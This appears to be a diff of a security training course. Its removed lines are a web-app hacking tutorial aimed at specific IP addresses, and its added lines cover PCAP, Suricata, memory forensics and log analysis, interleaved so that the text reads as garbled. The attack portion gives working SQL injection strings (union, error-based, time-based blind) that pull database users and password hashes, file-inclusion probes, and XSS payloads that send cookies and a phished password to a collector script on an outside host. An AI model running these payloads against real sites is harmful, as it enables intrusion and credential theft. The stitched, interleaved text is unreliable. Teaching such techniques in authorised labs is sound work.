 -----------------------------------------------------------------------
 
-# Offensive Cyber Operations Job Roles  #
+
-# Offensive Cyber Level 2               #
+
 
-Required Technical Skills: 		Comfortable with basic Linux/Windows system administration
+                            ###############################
 ----------- ############### # Threat Hunting on the wire  # ############### -----------
                             ###############################
 
 
 
 
-Job Task: 						Run network security scanners and assist with document of known vulnerabilities
+
-								Perform manual vulnerability validation
+
-								Analyze public exploit and develop threat analysis reports
+
-								Assess simple applications for vulnerabilities
+
 
 ---------------------------Type this as a regular user----------------------------------
 
 cd ~/pcap_analysis/prads
 
-# Offensive Cyber Level 3               #
+
 
 cat prads-asset.log | less
-Required Technical Skills: 		Strong programming background (C, C++, Java, Assembly, scripting languages)
+
 cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
 
 cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
 
 cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
 -----------------------------------------------------------------------
 
-Job Task: 						Perform manual vulnerability validation
+
-								Analyze public exploit and develop threat analysis reports
+
-								Assess complex applications for vulnerabilities
+
 ##################################
 # PCAP Analysis with ChaosReader #
 # Note: run as regular user      #
 ##################################
 ---------------------------Type this as a regular user----------------------------------
 
 cd ~/pcap_analysis/chaos_reader/
 
 perl chaosreader.pl suspicious-time.pcap
-# Basic: Web Application Testing #
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
 
-Most people are going to tell you reference the OWASP Testing guide.
+
-https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
+
 
-I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
+
 
 
-The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
+
-
+for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst
-    1. Does the website talk to a DB?
+
-        - Look for parameter passing (ex: site.com/page.php?id=4)
+
-        - If yes - try SQL Injection
+python check-urls-virustotal.py url.lst
 
-    2. Can I or someone else see what I type?
+
-        - If yes - try XSS
+
 
-    3. Does the page reference a file?
+
-        - If yes - try LFI/RFI
+
 
-Let's start with some manual testing against 45.63.104.73
+
 
 
-#######################
+
-# Attacking PHP/MySQL #
+
-#######################
+
 #############################
-Go to LAMP Target homepage
+
-http://45.63.104.73/
+cd ~/pcap_analysis/tshark
 
 tshark -i ens3 -r suspicious-time.pcap -qz io,phs
 
-Clicking on the Acer Link:
+
-http://45.63.104.73/acre2.php?lap=acer
+
 tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
-   - Found parameter passing (answer yes to question 1)
+
-   - Insert ' to test for SQLI
+
 
 
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
-http://45.63.104.73/acre2.php?lap=acer'
+
 whois rapidshare.com.eyu32.ru
 
 whois sploitme.com.cn
-Page returns the following error:
+
-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
+
 
 tshark -r suspicious-time.pcap -qz http_req,tree
 
-In order to perform union-based sql injection - we must first determine the number of columns in this query.
+
-We do this using the ORDER BY
+
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 ------------------------------------------------------------------------
 
-http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
+
 ###############################
 # Extracting files from PCAPs #
-Page returns the following error:
+# Note: run as regular user   #
-Unknown column '100' in 'order clause'
+
 ---------------------------Type this as a regular user---------------------------------
 
 cd ~/pcap_analysis/extract_files
 
-http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
+foremost -v -i suspicious-time.pcap
 
 cd output
-Page returns the following error:
+
-Unknown column '50' in 'order clause'
+
 
 cat audit.txt
 
 cd exe
-http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
+
 wget https://raw.githubusercontent.com/GREEKYnikhilsharma/Xen0ph0n-VirusTotal_API_Tool-Python3/master/vtlite.py
 
-Page returns the following error:
+******* NOTE: You will need to put your virustotal API key in vtlite.py *******
-Unknown column '25' in 'order clause'
+
 for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
 ---------------------------------------------------------------------------------------
 
 
-http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
+
 ###################################
 # Setting up Suricata             #
-Page returns the following error:
+# Note: run as root user          #
-Unknown column '12' in 'order clause'
+###################################
 
 
 Here is where we will setup all of the required dependencies for the tools we plan to install
 ---------------------------Type this as root--------------------------
-http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
+apt update
 apt-get install -y libpcre3-dbg libpcre3-dev autoconf automake libtool libpcap-dev libnet1-dev libyaml-dev libjansson4 libcap-ng-dev libmagic-dev libjansson-dev zlib1g-dev libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev cmake make gcc g++ flex bison libpcap-dev libssl-dev unzip python-dev swig zlib1g-dev sendmail sendmail-bin prads tcpflow python-scapy python-yara tshark whois jq prads foremost python3-dnspython
 -----------------------------------------------------------------------
----Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
+
 
 
 
-Now we build out the union all select statement with the correct number of columns
+Now we install Suricata
 ---------------------------Type this  as root-------------------------------
 cd /root/
-http://www.techonthenet.com/sql/union.php
+
 wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz
 
 tar -zxvf suricata-4.0.5.tar.gz
 
-http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
+cd suricata-4.0.5
 
 ./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --localstatedir=/var
 
 make
-Now we negate the parameter value 'acer' by turning into the word 'null':
+
 make install
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
+make install-conf
 
 cd rules
-We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
+
 cp *.rules /etc/suricata/rules/
 
-Use a cheat sheet for syntax:
+cd /etc/suricata/
-http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
+
 wget https://rules.emergingthreats.net/open/suricata-4.0/emerging.rules.tar.gz
 
 tar -zxvf emerging.rules.tar.gz
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
+
 # PCAP Analysis with Suricata #
 # Note: run as root           #
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
+
 --------------------------Type this as root--------------------------------
 cd ~
 
 mkdir suricata/
 
-########################
+cd suricata/
-# Question I get a lot #
+
-########################
+
-Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
+
 sudo suricata -c /etc/suricata/suricata.yaml -r suspicious-time.pcap -l suri/
-Here is a good reference for it:
+
-https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
+cd suri/
 
-Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
+cat stats.log | less
 
 cat eve.json |grep -E "e\":\"http"|jq ".timestamp,.http"|csplit - /..T..:/ {*}
 
 cat xx01
-#########################
+
-# File Handling Attacks #
+cat xx02
-#########################
+
 cat xx03
-Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
+
 cat xx04
 
 cat xx05
-http://45.63.104.73/showfile.php?filename=about.txt
+
 cat xx06
 ------------------------------------------------------------------------
 
 
-See if you can read files on the file system:
+
 # PCAP Analysis with Yara   #
 # Note: run as regular user #
-http://45.63.104.73/showfile.php?filename=/etc/passwd
+
 -------------------------Type this as a regular user----------------------------------
 cd ~/pcap_analysis/YaraPcap/
-We call this attack a Local File Include or LFI.
+
 
-Now let's find some text out on the internet somewhere:
+python yaraPcap.py rules-master/index.yar suspicious-time.pcap -s matching_files/
-https://www.gnu.org/software/hello/manual/hello.txt
+
 
 cd matching_files/
-Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
+
 ls
 
 cat report.txt
-http://45.63.104.73/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
+
 
 
-#########################################################################################
+
-# SQL Injection                                                                         #
+cd ~/memory_analysis/
-# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
+volatility -h
-#########################################################################################
+volatility pslist -f hn_forensics.vmem
 volatility connscan -f hn_forensics.vmem
 volatility -f hn_forensics.vmem memdump -p 888 -D dump/
-- Another quick way to test for SQLI is to remove the paramter value
+volatility -f hn_forensics.vmem memdump -p 1752 -D dump/
 				***Takes a few min***
 cd ~/memory_analysis/dump/
 strings 1752.dmp | grep "^http://" | sort | uniq
-# Error-Based SQL Injection #
+strings 1752.dmp | grep "Ahttps://" | uniq -u
 cd ..
 foremost -i dump/1752.dmp -t pdf -o output/pdf/
 cd ~/memory_analysis/output/pdf/
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
+cat audit.txt
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
+cd pdf
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
+grep -i javascript *.pdf
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
+cd ~/memory_analysis/output/pdf/pdf/
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
+python pdf-parser.py -s javascript --raw 00601560.pdf
 python pdf-parser.py --object 11 00601560.pdf
 python pdf-parser.py --object 1054 --raw --filter 00601560.pdf
 python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
 
 cat malicious.js
 -----------------------------------------------------------------------
-# Union-Based SQL Injection #
+
 
 
 ##################################
 # Lesson 8: Intro to Log Analysis #
-http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
+Log into your Linux host then execute the following commands:
-http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
+NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
-http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
+
-http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
+
 cd ~/students/[yourname]
 
-   We are using a union select statement because we are joining the developer's query with one of our own.
+wget http://pastebin.com/raw/85zZ5TZX
-   Reference:
+
-   http://www.techonthenet.com/sql/union.php
+mv 85zZ5TZX access_log
-   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
+
-   It removes duplicate rows between the various SELECT statements.
+
 cat access_log | grep 141.101.80.188
-   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
+
 cat access_log | grep 141.101.80.188 | wc -l
 
 cat access_log | grep 141.101.80.187
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
+
 cat access_log | grep 141.101.80.187 | wc -l
 
-   Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
+cat access_log | grep 108.162.216.204
 
 cat access_log | grep 108.162.216.204 | wc -l
 
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
+cat access_log | grep 173.245.53.160
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
+cat access_log | grep 173.245.53.160 | wc -l
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
+
 ----------------------------------------------------------------------
 
 
 
 
 
-- Another way is to see if you can get the backend to perform an arithmetic function
+
 
 ######################################################
 # Python: Use Python to read in a file line by line  #
-http://45.77.162.239/bookdetail.aspx?id=(2)
+######################################################
-http://45.77.162.239/bookdetail.aspx?id=(4-2)
+
-http://45.77.162.239/bookdetail.aspx?id=(4-1)
+
 ---------------------------Type This-----------------------------------
 
 nano logread1.py
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
+
-http://45.77.162.239/bookdetail.aspx?id=1*1
+---------------------------Paste This-----------------------------------
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
+## Open the file with read only permit
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
+f = open('access_log', "r")
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
+## use readlines to read all lines in the file
-http://45.77.162.239/bookdetail.aspx?id=2 &0#
+## The variable "lines" is a list containing all lines
 lines = f.readlines()
 
 print (lines)
-http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
+
-http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
+
-http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
+## close the file after reading the lines.
-http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
+f.close()
 
 ----------------------------------------------------------------------
 
 
 
-# Blind SQL Injection Testing #
+
 ---------------------------Type This-----------------------------------
-Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
+$ python3 logread1.py
-
+
-3 - Total Characters
+
 
 
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
+Google the following:
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
+    - python difference between readlines and readline
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
+    - python readlines and readline
 
 
-Let's go for a quick check to see if it's DBO
+Here is one student's solution - can you please explain each line of this code to me?
 
 
 ---------------------------Type This-----------------------------------
-http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
+nano ip_search.py
 
 
-Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
+---------------------------Paste This-----------------------------------
 #!/usr/bin/env python3
 
 f = open('access_log')
-D  - 1st Character
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
+strUsrinput = input("Enter IP Address: ")
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
+for line in iter(f):
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
+   ip = line.split(" - ")[0]
    if ip == strUsrinput:
-B - 2nd Character
+       print (line)
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+f.close()
 
-O - 3rd Character
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+$ python3 ip_search.py
 ----------------------------------------------------------------------
 
 
 
 Working with another student after class we came up with another solution:
 
 ---------------------------Type This-----------------------------------
 nano ip_search2.py
 
-################################
+---------------------------Paste This-----------------------------------
-# Playing with session cookies #
+#!/usr/bin/env python3
-################################
+
 
 # This line opens the log file
-Step 1: Browse to NewEgg.com
+f=open('access_log',"r")
--------------------------Paste this into a browser--------------------------------
+
-https://secure.newegg.com/
+# This line takes each line in the log file and stores it as an element in the list
-----------------------------------------------------------------------------------
+lines = f.readlines()
 
 
-Step 2: Browse to the shopping cart page NewEgg.com
+# This lines stores the IP that the user types as a var called userinput
--------------------------Paste this into Firefox-----------------------------------
+userinput = input("Enter the IP you want to search for: ")
-https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
+
-----------------------------------------------------------------------------------
+
 
 # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
-Step 3: View the current session ID
+for ip in lines:
---------------------------Paste this into a browser---------------------------------
+   if ip.find(userinput) != -1:
-javascript:void(document.write(document.cookie))
+       print (ip)
-------------------------------------------------------------------------------------
+
 ----------------------------------------------------------------------
-Step 4: Go back to the shopping cart page (click the back button)
+
----------------------------------------------------------------------------------
+
-https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
+
----------------------------------------------------------------------------------
+
 $ python3 ip_search2.py
 ----------------------------------------------------------------------
-Step 5: Now let's modify the session ID
+
---------------------------Paste this into a browser---------------------------------
+
-javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
+
-------------------------------------------------------------------------------------
+
 ##################
 # Challenge Labs #
 ##################
-Step 6: Go back to the shopping cart page (click the back button)
+
----------------------------------------------------------------------------------
+
-https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
+cd ~/pcap_analysis/prads
----------------------------------------------------------------------------------
+
 cp /home/ama/mta_challenge/pizzabender.pcap .
 
 prads -r pizzabender.pcap -l prads-asset.log
-Step 7: View the current session ID
+
---------------------------Paste this into a browser---------------------------------
+
-javascript:void(document.write(document.cookie))
+
-------------------------------------------------------------------------------------
+
 
 cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
 
-###########################################
+
-# What is XSS                             #
+
-# http://45.63.104.73/2-Intro_To_XSS.pptx #
+
-###########################################
+
 
-OK - what is Cross Site Scripting (XSS)
+
 ##################################
-1. Use Firefox to browse to the following location:
+
 # Note: run as regular user      #
 ##################################
-   http://45.63.104.73/xss_practice/
+
 
 cd ~/pcap_analysis/chaos_reader/
-   A really simple search page that is vulnerable should come up.
+
 rm -rf stream* *.html session* image* index* url* *.text
 
 cp /home/ama/mta_challenge/pizzabender.pcap .
 
-2. In the search box type:
+perl chaosreader.pl pizzabender.pcap
 
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
-   <script>alert('So this is XSS')</script>
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
 
 
-   This should pop-up an alert window with your message in it proving XSS is in fact possible.
+
-   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 
 
-3. In the search box type:
+for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u | awk '{print $5}' > url.lst
 
 
-   <script>alert(document.cookie)</script>
+python check-urls-virustotal.py url.lst
 
 ------------------------------------------------------------------------
 
-   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
+
-   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 
-4. Now replace that alert script with:
+
 
 
-   <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+
 #############################
 # PCAP Analysis with tshark #
 # Note: run as regular user #
-This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
+
 ---------------------------Type this as a regular user---------------------------------
 cd ~/pcap_analysis/tshark
-5. Now view the stolen cookie at:
+
 cp /home/ama/mta_challenge/pizzabender.pcap .
 
-   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
+tshark -i ens3 -r pizzabender.pcap -qz io,phs
 
 tshark -r pizzabender.pcap -qz ip_hosts,tree
 
-The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
+tshark -r pizzabender.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
 
 tshark -r pizzabender.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
 
 
 tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
-############################
+
-# A Better Way To Demo XSS #
+tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
-############################
+
 tshark -r pizzabender.pcap -qz http_req,tree
 
-Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
+tshark -r pizzabender.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
 
 tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | sed -e 's/\?[^cse].*/\?\.\.\./g'
-Use Firefox to browse to the following location:
+
 tshark -r pizzabender.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.8.21.163 | grep -v 239.255.255.250 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 ------------------------------------------------------------------------
-   http://45.63.104.73/xss_practice/
+
 
 ###############################
 # Extracting files from PCAPs #
 # Note: run as regular user   #
-Paste this in the search box
+
-----------------------------
+---------------------------Type this as a regular user---------------------------------
 
 cd ~/pcap_analysis/extract_files
 
 cp /home/ama/mta_challenge/pizzabender.pcap .
-<script>
+
-password=prompt('Your session is expired. Please enter your password to continue',' ');
+rm -rf output
-document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
+
-</script>
+mkdir output
 
 foremost -v -i pizzabender.pcap
 
-Now view the stolen cookie at:
+cd output
 
 ls
-   http://45.63.104.73/xss_practice/passwords.html
+
 cat audit.txt
 
 cd exe
-###############################################################
+
-# Question 1: What is the process that you use when you test? #
+cp ~/vtlite.py .
-###############################################################
+
 for f in *.exe; do python3 vtlite.py -s $f; sleep 15; done
-Step 1: Automated Testing
+
 
-Step 1a: Web Application vulnerability scanners
+
------------------------------------------------
+# PCAP Analysis with Yara   #
-- Run two (2) unauthenticated vulnerability scans against the target
+
-- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
+
-- Run two (2) authenticated vulnerability scans against the target with admin privileges
+-------------------------Type this as a regular user----------------------------------
 cd ~/pcap_analysis/YaraPcap/
-The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
+
 cp /home/ama/mta_challenge/pizzabender.pcap .
-A good web application vulnerability scanner comparison website is here:
+
-http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
+
 python yaraPcap.py rules-master/index.yar pizzabender.pcap -s mta_matching_files/
 
-Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
+
 cd mta_matching_files/
-When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
+
 ls
 
-Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
+cat report.txt
 ------------------------------------------------------------------------